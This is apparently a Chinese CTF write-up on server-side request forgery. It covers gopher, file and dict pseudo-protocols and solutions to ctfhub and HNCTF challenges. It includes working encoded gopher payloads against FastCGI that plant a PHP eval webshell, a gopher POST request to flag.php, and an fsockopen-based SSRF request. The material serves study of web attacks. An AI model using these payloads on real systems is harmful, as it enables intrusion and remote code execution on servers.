什么是SSRF
SSRF是由攻击者构造通过服务端发起请求的安全漏洞。通常情况下,SSRF的攻击对象是外部无法访问的内网(因为是由服务端发起的请求所以攻击能够访问到内部系统)
由于服务端提供了从其它服务器获取数据的功能,但是有没有进行严格的过滤和限制,导致攻击者可以通过任意的地址让后端服务器进行访问,并返回目标地址请求的数据,当访问一个未经过验证的地址时,就会产生SSRF漏洞
SSRF伪协议
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd,一般默认的文件地址为/var/www/html
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
Gopher协议
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等,也可以发送 GET、POST 请求,这可以拓宽 SSRF 的攻击面。在攻击时,有时候会执行参数会使用一句话木马,来方便在攻击后查看信息或者进行蚁剑连接
利用Gopher攻击FastCGI
python2 gopherus.py --exploit fastcgi
利用Gopher攻击 Redis
redis是一种简单的文本协议,用于在客户端和服务器之间操作和传输数据。可以说是最简单的一种传输协议。
选择需要的shell类型,之后同样的用到一句话木马
SSRF相关函数
ctfhub
POST请求
先访问flag.php,抓包看看,发现key值,需要运用Gopher协议,传参key值来访问flag.php
127.0.0.1/flag.php
构造一个POST请求
POST /?url=127.0.0.1/flag.php HTTP/1.1
Host:127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36 //post传参的长度
key=ecff3b03b26adb3a1be8c423808297cc
得到payload,在%0A(换行符)之前加上%0D
POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=key=ecff3b03b26adb3a1be8c423808297cc
进行一次url编码
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=ecff3b03b26adb3a1be8c423808297cc
FastCGI协议
打开环境,提示我们攻击一下fastcgi协议,然后看看题目附件,附件中详细介绍了Fastcgi协议
先读取网站看看有没有什么东西,说明存在index.php
file:///var/www/html/index.php
攻击Fastcgi协议需要用到Gopher工具,运行工具,先输入网站存在的默认文件位置
执行参数用一句话木马,把一句话木马进行base64编码后,写入文件中,执行后用蚁剑连接
把payload进行编码
?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%32%33%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%37%42%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%25%32%32%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%64%34%4a%31%30%70%4f%7a%38%25%32%42%43%67%25%33%44%25%33%44%25%32%32%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30
打开蚁剑,进行连接
Redis协议
Redis协议是一种通信协议,攻击方式也是利用gopher,shell类型选择php类型,同样的用一句话木马,可以不写入文件用编码后上传,post传参查看,也可以蚁剑直接连接
[HNCTF 2022 WEEK2]ez_ssrf
fsockopen函数
fsockopen($host,intval($port),$error,$errstr,30);
$hostname:要连接的目标主机地址,可以是 IP 地址或者域名。
$port:可选参数,指定要连接的目标主机的端口号。默认值为 -1,表示使用默认的端口号。
fsockopen函数可以被滥用来触发SSRF攻击,这是因为该函数允许从远程服务器上读取数据并与远程服务器建立连接。攻击者可以使用fsockopen函数来发送恶意请求,例如将远程服务器地址设置为攻击者控制的恶意服务器,然后尝试读取该服务器上的敏感数据或执行任意命令
打开环境,没看见什么有用信息,dirsearch扫一下
扫出flag.php和index.php,一次访问以下
index.php内拿到关键代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}
这串代码的大致内容就是,通过fsockope函数连接到服务器之后,通过fwrite函数向服务器发送请求,再用fgets连续读取响应,最后输出,所以思路应该清晰了一些,就是连接后发送请求,读取响应输出
flag.php中提示localhost
那么现在怎样能找到flag就是应该思考的,我们知道fsockopen函数可以连接到主机中的,那么可以连接到我们本地的服务器,在去访问目标,就形成了SSRF
构造payload,本地的默认端口就是80端口
host=127.0.0.1&port=80&data=
还需要data的参数,data就是需要向连接的服务器发送的请求,请求内容是访问flag.php,构造出请求头
<?php
$a="GET /flag.php HTTP/1.1\r\n";
$a .="Host: 127.0.0.1\r\n";
$a .="Connection: Close\r\n\r\n";
echo base64_encode($a);
?>
host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=